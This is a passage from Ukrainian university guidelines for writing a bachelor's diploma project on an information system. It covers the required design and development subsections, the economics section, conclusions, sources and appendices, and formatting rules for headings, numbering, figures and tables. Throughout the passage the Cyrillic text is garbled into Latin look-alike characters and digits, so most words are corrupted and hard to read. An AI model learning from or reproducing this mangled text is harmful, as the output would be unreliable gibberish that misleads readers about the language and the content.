1.54. YV nyukri «Bumorm g0 iHdopmariiiiHoi Ta mporpamHoi
CYMICHOCT1» MOBUHHI OyTH BKa3aHi BUMOTH J0 1H(QOpPMAIIHHUX CTPYKTYD,
BUXITHUX KOJIIB, MOB TpPOrpaMyBaHHsS Ta NPOrPaMHHUX 3acO0iB,
BUKOPHUCTAHUX JJI1 CTBOPEHHS Ta QYHKIIOHYBaHHS PO3POOJICHOI CHCTEMHU.

2. Apyruit posmin mae HasBy «I[IPOEKTYBAHHS TA PO3POBKA
THOOPMAIINMHOI CUCTEMMW» Ta BKIIF0Ya€ TaKi 1IPO3I1TH:

2.1. ®yHKITIOHAIBHE PU3HAYCHHS CHCTEMH.

2.2. Omnuc 3acTOCOBAaHUX MAaTEMATUYHUX METO/IB.

2.3. Onuc BUKOPUCTAaHUX TEXHOJIOT1H Ta MOB MPOTpaMyBaHHS.

2.4. Onuc CTpyKTypy CUCTEMH Ta alrOpUTMIB ii (YyHKITIOHYBaHHS.

2.5. OOrpyHTyBaHHsI Ta OpraHi3allis BXiTHUX Ta BUXIIHUX JaHHUX MIPOTPaMHU.

2.6. Onuc po3po0IIeHOT CUCTEMU.

HasBHicTh BCIX TIepeIideHUX IIECTH  MIAPO3AUIIB  JIPYyroro pos3aily €
000B’SI3KOBOIO.

2.1. 'V miapo3nun «DyHKIIOHAIBHE TPU3HAYCHHS CUCTEMU» HACTHCS PO
(GyHKI[IOHAaTBbHE Ta eKCIUTyaTallliHe MPU3HAYEHHSI CUCTEMH, ab0 MPOrpaMHOTO
BupoOy. @DyHKIlIOHATBHE TPU3HAYEHHS BHU3Hadae (QYHKIIT mporpamu,
HaIlpUKJIaJd, BEIEHHA O0a3uW MaHUX MNpO CHIBPOOITHUKIB MIANPUEMCTBA, IX
MOCaJOBUX 1HCTPYKIISAX, 3apIuiaTé Tomlo. ExcryartariiiHe mnpu3HaYeHHS
BU3Hauae, 10 Jae  iHpopmaliifHa cuUcTeMa 3 TOYKH 30py 3aMOBHUKA:
MO>KJIMBICTh CKOPOUCHHS YHCEIIBHOCTI IMIEPCOHATY, aBTOMAaTU3Y€E PYYHY MPAIlio,
JT03BOJISIE BAKOHYBATH HOB1 BUIM POOIT 1 MOCTYT TOLIO.

2.2. Y migpo3ain «Omnuc 3aCTOCOBAHUX MAaTEeMaTUYHUX METOJiB» MOBUHHI
OyTu HaBeleHI BCl BUKOPUCTaHI MaTeMAaTHYHI METOJU, MPUKIAIU Ta YMOBHU iX

3aCTOCYBaHHS B PO3POOJICHIN CcHCTeMI. Sxmo Takux METONmIB  HE
BUKOPHUCTOBYETHCA, TO ISl 1H(OpMAalLlisi MOBUHHA OYTH BKa3aHa B TEKCTI LbOTO
HiAPO3ALTY.

2.3. Iigposin «Onuc BUKOPUCTAHUX TEXHOJOTIH Ta MOB NporpamyBaHHs
Ma€ MICTUTH  3arajlbHUM O] HAsSBHUX METOMAIB, TEXHOJOTiH 1 MOB
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nporpaMmyBaHHs Ta OOIPYHTyBaHHS iX BHOOpPY Ha MIACTaBl MPOBEIECHUX
po3paxyHKiB 1 (a00) aHaJi3iB.

24.1Migpo3nin «Onuc  CTPYKTYpH  CUCTEMH Ta  alIrOpUTMIB i
(GYHKITIOHYBAHHS» MAa€ MICTUTH TaKy 1HGOpMaIIiio:

— ONMC JIOTIYHOi CTPYKTYpPH CHUCTEMH, MporpamMu abo MpOrpamMHOro
BUpOOY 3 onucoM (DyHKIIHN ii CKIIa0BUX YACTHH 1 3B'I3KYy MIXK HUMH;

— omuc aiaroput™My Ta (abo) GYHKIIOHYBaHHS TpOrpamu 3
OOIPYHTYBaHHSM BHOOPY CXEMU aJITOPUTMY PO3B'sI3aHHS 3aB/IaHHS;

— ONHC CTPYKTYypH 0a3u TaHWX CUCTEMHU 3a ii HasIBHOCTI,;

— 3B'I30K CHCTEMH 3 IHIIMMU MPOrpaMaMH, SIKIO BiH iICHYE.

2.5. YV migposnini «OOrpyHTYBaHHS Ta OpraHizallis BXIIHMX Ta BUXITHUX
JAHUX MPOTpaMu» MOBUHHI OyTH BKa3aHI:

—  XapakTep, OpraHizailis 1 monepeaHs MiAroToBKa BX1IHUX JTaHUX;

—  XapakTep 1 opraHizalis BUXIJHUX JIaHUX;

— ¢Qopmar, onuc 1 cnocid KoayBaHHS BX1THUX Ta BUXITHUX JTaHUX.

He 060B's13k0B0 BKa3yBaTH TOBHHII CKIIAJ i CTPYKTYpH JaHUX. MeTses mpo
3arajibHi MHUTaHHS oOpraHizaiii, 300py naHux, iX nomaHHs. Hampuknana, naHi
MOBUHHI BBOJIUTUCA CKaHEPOM 3 TEKCTOBUX JTOKYMEHTIB, a0O [aHl IOBHHHI
BBOJWTHCS KOPHUCTYBa4eM B [iaJIoTOBOMY pexXumi. Ko MoBa ijae mpo
3aTBepKeHl (opMH (IOKYMEHTH) NPEACTABICHHS JaHUX, TO BOHM MOBHUHHI
JI0JTaBaTHUCS.

2.6. IMigpozmin «Ommc po3poOIeHOi CHCTEMW» MICTUTh 1H(POPMAIIIO MPO
npoayKT. BiH npu3HaueHuil /uisi KOPUCTYyBaviB, 3aMOBHHKA, MPOTPAMICTIB TOIIIO.
Jlst moBHOI 1H(OpMaItii mpo poOOTy po3poOJIEHOT CUCTEMHU B 1IbOMY MIAPO3/ILII
MOBUHHI OYTH PO3KPHUTI TaKl MyHKTH:

2.6.1. BukopucraHi TexXHi4H1 3aCO0H.

2.6.2. Bukopucrani nporpamHi 3acoou.

2.6.3. Bukiuk Ta 3aBaHTaXEHHS IPOTPAMH.

2.6.4. Onuc iHTEepdelicy KopucTyBaya.

VY upoMy mipo3aisii HOBUHHI OyTH MOJIaH1 BC1 BIIOMOCTI PO Mporpamy, siki
MOKYTb 3HaIOOMTHCS MiJ Yac ii CyIpOBOHKEHHS Ta KCIUTyaTallli.

2.6.1. V nyHkTi «BUKOpUCTaHI TEXHI4YHI 3aCOOW» HABOAMUTHLCS OIHC
CKJIaJly TEXHIYHUX 3ac001B, TUMIB €JIEKTPOHHUX OOYMCIIIOBAIBHUX MAIIWH 1
MPUCTPOIB, IKI BUKOPUCTOBYIOTHCS sl pPOOOTH CUCTEMHU.

2.6.2. YV nyHkTi «BuUKOpHCTaHI IpOrpaMHi 3acO0M» HABOJIUTHCA OMHC
OMepalifHuX CHUCTEM Ta TMPOrPaMHHUX 3aco0iB, 3a JIONMOMOTOI0 SKHUX
3a0e3neuyeThesl (PYHKIIIOHYBaHHS pO3pPO0JICHOI CHCTEMH.

2.6.3. Y myHkTI «Bukiauk Ta 3aBaHTaXEHHS MPOTPaAMU» UIETHCS PO
croci®d BUKIMKY MpPOTpaMH 3 BIATIOBIIHOTO HOCIS JaHUX Ta YMOBH HOTO
3aBaHTaXeHHS. JlomycKaeThCcsi BKa3yBaTH BIIOMOCTI MPO BHUKOPUCTAHHS
OTIepaTUBHOI MaM'sATi Ta OOCST MPOTPAMHU.

2.6.4. YV nynkTti «Onuc iHTepdeiicy KopucTyBada» mMae OyTH MOJaHO

pPO3TOPHYTY CHUCTEMY MEHIO 3 OIKCOM YIpaBiiHHS jgiasiorom (3

ypaxyBaHHSIM BCIX MOXJIMBOCTEH POOOTH CHCTEMH) Ta 1LIHOCTpallii HasBHUX
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pe3ynbTaTiB poOOTH PO3p00IeHOT IHPOPMAIIIITHOT CHCTEMH.

3aie’kHO BiJl OCOOJIMBOCTEHN MpOrpamMu, OKpIM 3a3HAYEHUX BHUIIE YOTHPHOX
00OB’SI3KOBUX IYHKTIB MiAPO3ALTY, JIOMYCKAEThCS BBOJUTH TaKi JOJATKOBI
MYHKTH:

- nyHKT «Ilopsimok poOOTH 3 MPOrpaMor0» MNpPU3HAYCHUM HJI OMUCY
TEXHOJIOT1i poOOTH 3 MPOTPaMOI0 1 MOPSIOK BUKOHAHHS CaMOi MPOTpaMH.
Tyt cnig omnucaTd BeCh TEXHOJOTIYHUM JIAHIIOKOK 13 3a3HAYEHHSIM
TEPMiHIB, BAKOHABI[IB, MPOTPaMHHX 1 TEXHIYHUX 3aCO01B,;

—-  nyHKT «IloBimomiieHHs» Mae BimoOpakaTd BCi MOBIIOMIJICHHS TPO
HE-mraTtHi cutyarii y TakoMy BUTJISIL

a) TEKCT ITOB1JIOMJICHHS;
0) I KOro mpusHaveHe (omeparopa, KOpucTyBaya, porpamicra

YU 1H.);

B) OIKC CUTYAIIil;
I') pEeKOMEHOBaHi Jii.

Bci 000B’s3K0BI MIAPO3IIIN JIPYroro po3iay, 3aJeKHO BIJ CBOTO BMICTY,
MOXYTh MICTUTH JIOAATKOBI MYHKTH Ta MIAMYHKTH, 110 HE BKa3aHl B JaHOMY 3MICTI,
ajyie, Ha TyMKYy BHKOHaBLA KBamiQikaiiitHoi poOOTH, € JOIUIBHUMH 1 B OUIBIIOIO
MIPOIO BiIOOpaX)aTUMYTh CYTh MOSICHIOBAIBHOI 3aITUCKHU.

3. Tperiit po3ain mae Ha3By «ExoHOMIKa» Ta MpU3HAYEHHM IS PO3PAXYHKY
TPYAOMICTKOCTI Ta BapTOCTI pO3pO0IEHOTO MporpaMHoro npoaykry. Koncynprariii 3
BUKOHAHHS Ta OLIHIOBAHHS PE3YyJIbTAaTIB PO3PaXyHKIB EKOHOMIYHOTO pO3ILTY
MPOBOJATHCS TMPU3HAYEHUM BUKIagauemM Ha kadenpi IlpuknanHoi eKoHOMIKH Ta
M1IIPUEMCTBA.

3anexxHo Big ocoOnauBocTel iH(MOpMaliiHOI cucTeMH, MporpamMu  ado
MpOrpaMHOro BUPOOY, B OKpeMHUX (BUHITKOBHMX) BHMMAJKax 3a 3TOJ0K0 KEpiBHUKA
JUIUIOMHOTO TIPOEKTY Ta HOPMOKOHTpOJIEpa JOMYCKAEThCSI YTOUYHIOBATH 3MICT
PO3ALTIB, BBOJAUTH HOBI MiIPO3A1UTH a00 00'€THYBATH OKpEMI 3 HHX.

BucHOBKH pO3MIIIYIOTh 0O€3MOCEPEeIHbO TMICs TPEThOro (€KOHOMIYHOTO)
po3auTy KBamiQikaiiiHoi poOOTH HA OKPEMOMY apKYIIIi.

VY BHUCHOBKax HaBOJATH OLIHKY OJIEp>KaHUX PE3yJbTaTiB BIJHOCHO AaHAJIOTIB,
BUCBITJIIOIOTh JIOCSITHYTHUW CTYIiHH HOBHM3HHU, TPAKTUYHE, HAYKOBE 3HAYCHHS
pe3yNbTaTiB, MPOTHO3HI TMPUIYIICHHS TPO TMOAAIBIIANA PO3BUTOK OO0 EKTY
JOCITIKEHHST 200 pOo3pOo0JIeHHS, BIZIOMOCT1 3 EKOHOMIYHOTO PO3JILTY.

TexkcT BHUCHOBKIB MOXE€ MOAUISITUCH HA MYHKTU. 3arajlbHUid o0csar Mae
CTaHOBUTH 1-2 CTOpIHKH.

[Tpuknan opopmieHHs BUCHOBKY HaBeneHo B Jlonatky K.

Cnucox BHKOpUCTaHUX JKkepes. [lepemik mkepen, Ha sIKi € TOCHUJIAHHS B
OCHOBHI/ YaCTHHI, HABOJATH CJIIJIOM 3a BUCHOBKaMH, TOYMHAIOYN 3 HOBOi CTOPIHKH.
Kinpkicts moBuHHa OyTH He MeHII, Hik 20 MyHKTIB.

[Tpuxnan opopmileHHsI CHUCKY BUKOPUCTAHUX JyKepen HaBeneHo B JlogaTky JI.

JlonaTKl MicTSITh B €001 Martepial, SIKAA € HEOOXIMHUM JUIsl TOBHOTH
MOSICHIOBAJIbHOI 3alMCKU 1 HE MOXE OyTH PO3MIIIEHWH B OCHOBHIN 4YacCTUHI uepe3
BENUKHI 00csT a00 crmocid BiITBOPEHHS.

Tunu monaTKiB:
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— JIOAATKOBI LIocTpariii abo Tadmiti,

— TPOMIXKHI MaTeMaTHU4H1 JOBEJACHHS, POpMYIIH, pO3paxXyHKH;

— MPOTOKOJIM BUIIPOOYBaHb;

— METOJUKH,

— TEKCTH BHUXIJHUX KOJIB KOMIT'IOTEPHHX IMPOTpaM, PO3POOJIICHHX Yy XOji
BUKOHAHHS KBaTi(iKaIiiHOi poOoTH;

— JIOAATKOBUM MEPEITIK JXKEpe, Kl MOKYTh BUKIIMKATH 3all1KaBICHHS;

— ONKC HOBOI amapaTypH 1 MpUIaJiB, 110 BUKOPUCTOBYBAIUCH:;

— BIATYK KEpiBHUKA AUILIOMHOTO TipoekTy Jlomarok H;

— peleH31s 30BHIIHBOTO criemanicta Jlonarok I1;

— BIATYK KEpIBHUKA €KOHOMIYHOTO PO3JILITY;

— mnepenik (aililiB Ha TUCKY 3 MOSACHEHHM X Npu3HaueHHs JJoxarok P.

6. Bumoru 10 o(popmJIeHHSI TOSICHIOBAJIbHOI 3alIUCKHU
6.1. 3aranbHi BUMOTH

MoBOI0O AMIUIOMHOTO MPOEKTy OakajgaBpa MOBHMHHA OyTH Jiep»KaBHa MoOBa abo
Oyap-sika eBponeiicbka. [Ipu 1mbOMYy HE JOMyCKAaeThCcsl CyMilll pI3HUX MOB B
o(OpMIJICHHI TEKCTOBOTO JOKYMEHTa IMOSCHIOBAIBHOI 3alMUCKU. BUHATKOM MOXe
CTaTH JIMIIIE BUKOPUCTAHHS UTIOCTPAILlil, 110 B1I0OpakatoTh iHTEep(eiic mporpaMHOro
MPOIYKTY a00 BUKOPUCTAHUX TEXHOJIOT1H, MOBA SIKUX BIAPI3HAETHCSA B1Jl OCHOBHOI.

VY TekcTi MOSICHIOBAIBHOI 3aMCKU Tpeda BUKoprcToByBaTH oauHMI CI.

Texer poboTu HEOOXITHO APYKYBATH, 3ATHUIINAIOYH TIOJISI TAKUX PO3MIpPIB: JIiBE —
HE MEHIIe 25 MM, MpaBe — HE MeHIIe 15 MM, BepxHe — He MeHIIe 20 MM, HUJKHE — HE
meniie 20 mm. BupiBHIOBaHHS TEKCTY B psAAKy — «Ilo mmpuni».

PobGoty npykyroTh 3 BUKOpPHCTaHHSM MIpU(TIB TEKCTOBOTO penaktopa Word 3
noaytopauM (1,5 0T) MIKpAAKOBUM iHTepBasioM. [Ipu 1[bOMYy BHKOPHCTOBYETHCS
mpudt Times New Roman tekctoBoro pegakropa Word po3mipom (kersiem) 14 mr.
BiacTynm mepmoro psiaka ab3amy mMae cTaHoBUTH 1 cMm. JlogaTkoBOi BiCTaHI MIXK
ab3a1iaMy, OKpPIM BCTAHOBJIEHOTO MIKPSJKOBOI'O 1HTEPBANTy, HE BCTAHOBIIIOETHCS. Y
poOOTI  HE JAONYCKAE€TbCS BUIICHHS (parMEHTIB TEKCTY I1HIIMMHU LIpUQTamMHu,
KOJIbOpaMH, MiAKPECTIOBAaHHAM Ta 1HIIE, OKPIM CIEIialbHO 3a3HAYCHUX BUITQJIKIB
(Ha3Ba TabJMIIl, 3ar0JIOBKH PO3LIIB, MiAPO3/ILIIB, BHHOCKH).

3arojoBKu CTPYKTypHUX "acTUH poOoTu «PEDEPATY, «3MICT», «ITEPEJIIK
VYMOBHUX ITOZHAYEHbY», «BCTVYII», «PO3/11JI», «cBUCHOBKI», « CITMCOK
BUKOPUCTAHUX JIXKEPEJI» napykytoTh HMPOMUCHUMHU (BEIUKHAMH) JITEpaMH 3
BUpiBHIOBaHHAM Tekcty «Ilo nentpy», a « JOJATOK» - 3 BUpIBHIOBaHHSM TEKCTY
«3 TpaBOrO Kparo». 3aroJIOBKM MiAPO3LIIB, MyHKTIB Ta MiAMYyHKTIB JAPYKYIOTb
PSIIKOBUMH (MaJMMH) JiiTepamMu (KpiM Mepiioi BEJIMKOi) 3 BIACTYIY MEPIIOro psaKa
ab3arry, mo gopiBHIoe 1 cM. Kpamky B KiHIII 3arojloBKa HE CTaBJATh. SIKIIO
3arojJ0BOK CKJIAA€ThCA 3 JBOX ab0 OuIbIlle pedeHb, iX PO3AUISIOTH KPaIKOIo.
[lepeHocu yacThH CIiB y 3aroJIOBKaxX JUIIJIOMHOTO MPOEKTY HE JOMYCKAIThLCS, CJI0BA
NEPEHOCITHCS TTOBHICTIO.

Bci  3arofioBku  CTpYKTYpHUX 4YaCTUH, PO3AUIB, MIAPO3AUNB 1 MYHKTIB
BUJIUISIIOTH JKUPHUM MIpudToM. Biactanb MiX 3arojJoBKOM Ta HACTYIIHUM a0o
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MOTIEPEIHIM TEKCTOM MOBHHHA CTAHOBUTH po3Mip ogHoro psaka (14nrt). He moxHa
pO3MIIIyBaTH 3arojIOBOK Yy HIKHIA YacTHHI CTOPIHKH, SKIIO IIICJIS HBOTO
3aJIMIIAETHCS TUIBKU OJIUH PSAJOK TEKCTY.

KoxHy cTpyKkTypHY 4acTHHY pOOOTH Tpeba MOYMHATH 3 HOBOI CTOPIHKH.

6.2. Hymepauis

[lepmioro CTOpPiHKOIO pOOOTH € THUTYJAbHUWM apKyll, SIKAWA BKJIIOYAIOTH [0
3arajpbHOi Hymepalii cTopiHOK. Ha TUTyiabHOMY apKyinl HOMEp CTOpPIHKH He
CTaBJISTh.

HymMmepariito cTopiHOK, pO3JUIIB, HIAPO3ALTIB, MyHKTIB, MAMYHKTIB, PUCYHKIB,
TabuIb, PopMyII MOAAIOTH apabchbkuMu udpamu 6e3 3HaKa Ne..

CropiHKH poOOTH HYMEPYIOTbCS B HUXKHIM YaCTHHI apKylla, BUPIBHIOBAHHSA —
«ITo eHTpy», 31 30epeKeHHSIM HACKPI3HOI HyMepallii BCbOro TEKCTY.

CrpyktypHi enemeHTd 3 HazBamu «PED®EPAT», «3MICTy», «IIEPEJIIK
VMOBHHUX  TIO3HAYEHbDb», «BCTVIlI», «BUCHOBKM», «CIIMCOK
BUKOPUCTAHUX JIUKEPEJI», « IOJATOK» HE HyMepyt0Th. 3BEpTaEMO yBary Ha
Te, 10 BCl apKyll, Ha SKUX PO3MIIIEH] 3rajiaHi CTPYKTYpHI YacTUHU POOOTH,
HYMEpYIOTh 3BUYaliHUM 4YMHOM. He HymMepyIoTh JuIie X 3arojloBKHU, TOOTO HE MOKHA
npykyBatu: «1. BCTYII» a6o «Poznin 6. BUCHOBKI».

Pozninu, miapo3aiau, MyHKTH Ta MiAMYHKTH HyMEPYIOThCS HACTYITHUM YHHOM:

— HOMep po3aury cTaBisTh micis cioBa «PO3ALJI», micias HoMepa KpariKy He
CTaBJIISITh, MOTIM 3 HOBOTO PsIKa IPYKYIOTh 3aroJIOBOK po3aity (puc. 1):

PO3/ILI 1
AHAJII3 MPEJIMETHOI TAJTY3I TA TIOCTAHOBKA 3ABJAHHS

Puc. 1. [Ipukian ohopmieHHs po3auty poOoTH

— MAPO3JAUIM HYMEPYIOTh y MeXax KOXHoro posauty. Homep miapozaimy
CKJIaJIa€ThCSl 3 HOMEpa PO3JAUTY 1 MOPSAKOBOIO HOMEpa MiAPO3AUTY, MK SKUMU
CTaBJIATH Kpanky. B KiHIll HOMepa miApo3/iTy MOBUHHA CTOSITH KparKa, HAMPUKIIAI;
"2.3." (Tpetiii miapo3min npyroro posaury). IloTiMm y ToMy X psAnKy HaBOISTH
3aroJIOBOK MiIpo3aiy (puc.2):

2.3. Ha3zBa TpeThOro migpo3aijy Apyroro po3aury

TeKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT
TCKCT TCKCT TEKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT

TCKCT TCKCT TCKCT TCKCT TCKCT.

Puc. 2. Ilpuknag odhopmieHHs miapo3alty poOoTu

— MYHKTH HYMEpPYIOTh Yy MeXax KOXHOro miapo3aury. Homep myHKTY
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CKJIQ/Ia€ThCSl 3 TOPSAAKOBUX HOMEPIB PO3IUTY, MIAPO3AUTY, MYHKTY, MIX SKUMHU
CTaBJIATh Kpamnky. Y KiHII HOMEpa MOBUHHA CTOSATH Kpamka, Hampukmam: "1.3.2."
(Ipyruil MyHKT TPETHOrO MIAPO3ILIY HepHioro po3auny). IToTiM y Tomy X psaky
HABOJISITh 3ar0JIOBOK MTYHKTY.

[TiamyHKTH HYMEpYIOTh Y MEXKaxX KOXKHOTO IMyHKTY 32 TAKUMHU K MpaBUJIaMU, K
MyHKTH.

6.3. LimocTpanii

LmrocTpytoTh poOOTy, BUXOJSYM 13 MEBHOTO 3arajibHOrO 3aJyMy, 3a PETEIbHO
OpOJyMaHUM TEMATUYHUM IUIAHOM, IO JOMOMAara€ yHUKHYTH UIIOCTpalin
BUIAJIKOBUX, TIOB'S3aHUX 13 JPYTOPSIHUMH JIETalsIMA TEKCTy 1 3amoOirtu
HEBUIIPAB/IaHUM TMPOIyCKaM UIOCTpallid a0 HalBaxiuBimux TeM. KoxxHa
UTIOCTpallisl Ma€e BIANOBIAATH TEKCTY, & TEKCT — LIKOCTpaIlii.

OCHOBHMMH BHJaMH UIIOCTPATHUBHOTO MaTepialy B POOOTI €: KPECIEHHS,
TEXHIYHUI PUCYHOK, cXxema, (pororpadis, aiarpama i rpadik.

ImocTpanii MOXyTh OyTH PO3TalIOBAaHI B TEKCTi JOKyMeHTa abo JojaTKax. Ix
HEOOXITHO PO3MILLYBaTH O€3MOCEPEAHBO MICIS TEKCTY, B SIKOMY BOHH 3raaylOThCS
BIIepIIle, a00 Ha HACTYMHIN cTOpiHIi. [mrocTpartii, po3MillieH1 Ha OKPEMUX CTOPIHKAX
po0OOTH, BKIIIOUAIOTH JI0 3arajibHOI HyMepallii CTOPIHOK.

LmrocTpaiiii mo3HavyaroTe cioBoM «Puc.» 1 HyMepyroTh apabCbKUMU HHUPpaMU
MOCJIIJIOBHO B MEXaX PO3/LTYy, 3a BHHATKOM UIIOCTpaIliid, MOJAAHUX Y IOJaTKaX.
Howmep imrocTpallii moOBHHEH CKJIAJATUCS 3 HOMEpa PO3AUTYy 1 MOPSIKOBOIO HOMEpa
UTIOCTpallii, MK SIKUMH CTaBUTbcA Kparnka. Hampuxmnaa: Puc.1.2.03Hauae (apyrwuii
PUCYHOK TIEPIIOTO PO3/ILTY).
miJ UTrocTparieto. SKmo B po3aial poOOTH TOAAHO OJHY UIIOCTpaliio, TO il
HYMEPYIOTh 3a 3arajJlbHUMU TPaBUIaMHU.

[Tignuc mig UTroCTpali€ro Ma€ TP OCHOBHUX €JIEMEHTH:

1. HaiimeHnyBaHHs TrpaiyHOrO CIOXKETY, II0 TO3HAYAEThCS CKOPOUYEHUM
cioBOM «Puc.».

2. TlopsinkoBuit HOMEp UTIOCTpaIllii, SKUW BKa3yeThCsl 0e3 3HaKky No apaOChKUMH
nudpamu.

3. TemaTu4yHUIl 3aroJIOBOK LTFOCTpAIlii, IO MICTUTh TEKCT 13 IKOMOTa CTHCIIOO
XapaKTepUCTUKOI 300paxkeHoro. Hampukianm, TpeTiii pUCYHOK MEPIIOro PO3JLTy
(puc. 1.3) matume Takuil mignuc mig Lnoctpamiero: «Puc. 1.3. Bubip mporpamMuux
3ac001BY.

LnrocTpariro, pa3om 3 MANKUCOM PO3MIIIYIOTH 3 BUpiBHIOBaHHSIM «Ilo 11eHTpy»
(puc. 3), bopmat o6TikaHHs TekcToM — «llepen TekcTom».
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MporpamHi 3acobun

e N

OnepauiriHa cuctema cybq BeG-cepsep /cepsep
npuKNagHnx nporpam
> Microsoft —» Oracle RDBMS —» Apache Tomcat
Windows Server p
—> Linux —» Sybase ASE —>»> Microsoft IIS
—> Solaris —» MS SQL Server —» Sybase EAS
L FreeBSD L MySQL L Zope

Puc. 1.3. BuGip nporpamuux 3aco0iB

Puc. 3. Ilpukiian HaBeeHHS LTIOCTpAIlii 3 MiAMHUCOM

Biacranp Mk monepeqHIM 1 HACTYITHUM TEKCTOM Ta LTIOCTPALIEIO 3 MIIIMUCOM
NIOBHHHA CTAHOBHUTH BEJIIMYMHY OAHOTO psiaka (14mT).

Ha Bc1 utroctpaliii moBUHHI OyTH MOCUJIaHHS B POOOTI.

He BapTto odopmiroBaTh NMOCHIaHHS Ha UIIOCTpallii K caMOCTiiHI ¢pasu, B
SAKUX JIMIIE TOBTOPIOETHCA TE€, IO MICTUTBCA y TMiANUCl. Y TOMY MIiCIl, [
BUKJIAQJAETHCA T€Ma, MOB's3aHa 3 UTIOCTpaIli€ro, 1 ¢ YuTayeBl Tpebda BKazaTh Ha HeEl,
PO3MILIYIOTh TOCHJIAHHS Yy BUIJISIAI BUpPa3y B KPYINIUX AYXKKax «... (puc.3.1)» abo
3BOPOT THILY: «...5IK I1€ BUAHO 3 pUC. 3.1», a00 «... K 1€ TOKa3aHo Ha puc. 3.1».

Bei imtocTpariii, fiki BHHOCATBCA Ha NPE3EHTAllll0, HEOOXIHO HAaBECTH B
OCHOBHIM YaCTHHI aTeCTaIlliHOI OakagaBpChKoi poOoTH ab0 B 10JaTKaX.

6.4. Ta0aumi

[MudpoBuii Marepian s JAOCATHEHHS Kpamoi HAOYHOCTI W TMOPIBHSHHA
MOKA3HUKIB, K IPABUIIO, CJI11 0QOPMIIATH Yy BUTJIAII TAOJIHIIb.

3arooBoK TaOJWIll TIOBUHEH MICTUTH Yy co001 cloBo «Tabmuip», ske
PO3MIILYIOTh 3 BUpiBHIOBaHHSM «[lo mpaBoMmy Kparo» Ta Ha3By, SIKYy PO3MIILIYIOTh
HaJ TaOJIMILEIO 1 IPYKYIOTh CUMETPUYHO 10 TEKCTY (BUpiBHIOBaHHS «Ilo LEeHTpy»).
Ha3By i cioBo «Tabmuis» MOYMHAIOTH 3 BENMUKOI JiTepu. Ha3By HaBOIATH KUPHUM
mpudtom. IlponucHuMuU JiTepaMu TMOBUMHHI JPYKYBaTUCS 3arojoBHI OYKBU W
abpeBiaTypu.

3a 70riKOI0 MOOY/I0BM TAOMUIN 11 JIOTTYHHMM Cy0'€KT, a00 miaMeT (MO3HAYCHHS
TUX TPEJIMETIB, SIKI B HIM XapaKTepU3yIOThCs), PO3MIILYIOTh Y OOKOBUKY, TOJIOBIII, YU
B HMX 000X, a He y mporpadui; JOriYHUM npeaukaT abo MmpucyaoK Tadiuiil (ToOTo
JlaH1, IKUMHU XapaKTepU3yeThCs MiAMET) - y nmporpadiii, a He B FOJIOBII Y1 OOKOBUKY.
Koxen 3aronoBok Hax rpadoro CTOCYEThCS BCIX JaHMX i€l rpadu, KOKEH 3ar0JI0BOK
psaka B O0KOBUKY — BCIX JIaHUX LIbOTO PsIIKa.

3aroioBOK KOXKHOI Tpadu B TOJIOBINl TabmWIll Mae OyTH TIO MOXJIMBOCTI
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KOPOTKHUM.

Crig yHUKAaTH MOBTOPIB TEMAaTUYHOTO 3arojioBKa B 3arojlOBKax rpad, OJUHHII
BUMIPY 3a3HayaTH y TEMaTUYHOMY 3arojoBKy, BHHOCUTH [0 Y3arajlbHIOOYHX
3aroJIOBKIB CJIOBA, 1110 MOBTOPIOIOTHCS.

BbokoBuk, sk 1 royioBka, moTpedye nakoHigyHOCTI. [IoBTOpIOBaH1 C10Ba TYyT TaKOXK
BUHOCSTH y 00'€eIHYBaNbHI pyOpPHUKH; 3arajibHi JJIs BCIX 3aroJIOBKiB OOKOBHKA CJIOBa
PO3MIIIYIOTh y 3aT0JIOBKY HaJ HUM.

Y nporpadiil MOBTOPIOBaH1 €IEMEHTH, SIKI MalOTh BITHOIIIEHHS JI0 BCi€l TabJIuIIi,
BUHOCSTH Y TEMAaTUYHUIN 3ar0JIOBOK a00 B 3ar0JI0BOK rpadu; OJHOPIAHI YUCIIOBI JaH1
PO3MIIIYIOTh TakK, MO0 iX Ki1acu 30iraiucs; HEOAHOPIIHI — OCEPEeANHI rpadu; manku
BUKOPHUCTOBYIOTH TUIBKH 3aMICTh OJJHAKOBHUX CJIIB, SIK1 CTOSITh OJIHE i OJTHUM.

3arosoBku rpad MOBMHHI MOYMHATUCSA 3 BEJIMKHUX JIITEP, MIA3aroJIOBKH — 3
MaJICHbKHX, SKIIO BOHH CKJIQJA0Th OJHE PEUCHHS 13 3aTOJOBKOM, 1 3 BEIUKHUX, SIKIO
BOHU € caMOCTiiHUMH. Bucota psjikiB moBuHHa Oyt He MeHIow 8 M. I'pady 3
MOPSIIKOBUMHU HOMEpPAMHU PSIKIB J10 TaOJUIII BKIIOYATH HE Tpeba.

SKIIO TEKCT, SIKUM TOBTOPIOETHCS B rpadi TaOMMIN, CKIAJAEThCS 3 OJHOTO
CJIOBa, MO0 MO’KHA 3aMIHIOBATH JIAllKaMU; SKIIO 3 JBOX a00 OUIbIIE CIiB, TO HpU
MEepIIOMYy TMOBTOPEHHI HOro 3aMiHIOIOTH cioBamu «Te camey», a gami JamKamH.
CraBuTH JanK 3aMicTh IUdpP, MAPOK, 3HAKIB, MAaTEMAaTUYHHUX 1 XIMIYHUX CHMBOIJIIB,
K1 TOBTOPIOKOTHCA, HE MOXkHA. SKII0 nudpoBl ado iHII J1aHl B IKOMY-HEOYb PAIKY
Ta0JIMII HE MOJaI0Th, TO B HHOMY CTaBJISITh MIPOUYEPK.

Tabnuiro 3 BENUKOK KUIBKICTIO Tpad MOKHA JUIMTH Ha YacTUHU 1
pPO3MILIYBATH OJHY YAaCTHUHY 1]l 1HIIOIO B MEXaX OJIHIEI CTOPIHKH. SKIIO paaku abo
rpadu Tabnuil BUXOAATH 3a (OpMAT CTOPIHKH, TO B MEPIIOMY BHIAJIKY B KOXKHIM
JaCTHHI TaOJIHIIl IOBTOPIOIOTH ii TOJIOBKY, B IPYyroMy — OOKOBHK.

Tabnuii HyMepyrTh MOCTITOBHO (32 BUHATKOM TaOIHIlh, MOJJAHUX Y J10JaTKaX )
B MEXax po3auly. B mpaBoMy BepXHbOMY KyTiI HaJl BIAMOBIIHUM 3arojIOBKOM
Tabnuil po3minnytoTh Hanmuc «Tabmuisa» 13 3a3HaueHHs MU HOMepa. Homep Tabmuin
MOBUHEH CKJIAIATUCS 3 HOMEPa PO3/ILTY 1 MOPSAKOBOTO HOMEpa TaOJIHIIl, MiXK SKUMU
